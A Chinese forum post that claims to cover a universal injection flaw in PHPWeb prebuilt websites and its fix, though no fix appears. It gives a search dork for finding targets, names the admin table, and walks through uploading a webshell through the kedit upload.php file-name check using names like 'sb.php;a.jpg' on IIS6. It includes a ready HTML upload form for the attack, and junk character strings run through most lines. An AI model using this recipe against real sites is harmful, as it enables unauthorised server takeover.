phpweb成品网站全版本通杀注入漏洞及修复

admin

关键字：inurl:webmall/detail.php?id
% D# ^+ m7 R' M  b$ O2 k( D
; \+ R! e/ q6 d$ d" k数据表：pwn_base_admin

关于拿shell
, w/ w+ [& [4 D7 z1 Q6 a
% K& I4 j" ?" ~8 K. J2 m首先登录后台admin.php
2 \7 Q: C" D4 t7 V- S! w
9 l4 i7 S" E0 z- k+ l) r. o看了upload.php源码，分析了一个下午，然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件，但是并没有对文件名做限制。
换句话说，sb.php;a.jpg这样的文件也是允许的，只要服务器是IIS6就拿到webshel，低版本的apache可以试着重命名为sb.php.jpg
! Q, Q8 v  V) [$ ^* K# F, w) a然后搞完了才发现，这里的比我的更精简，我那个蛋疼，膜拜下三石，然后就借用了，我的开始和他的一样是采取全部源码的，然后发现了更精简的
5 U8 ^* [- {6 p! H9 M) }* N% ]<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php">
6 R0 F4 f9 J4 R. H! {, e0 _0 F. @0 E8 [<input type="text" name="fileName" value="sb.php;a.jpg" />
<input type="hidden" name="attachPath" value="news/pics/" />
! M: Q- n; J! @( y<input type="file" name="fileData" size="14" /></td>
) P  A- D+ W" b/ ~<input type="submit" name="button" value="确定" />
</form>

1 k5 @/ D7 p* u) a首先登录后台，然后把上面的文件保存为xx.html，修改action，然后再上传，如果为iis6就在上传了查看源码就好了。
3 t' R5 q/ }4 M0 G# d, u; L8 g​
& d1 X9 D# `  j7 g- F* H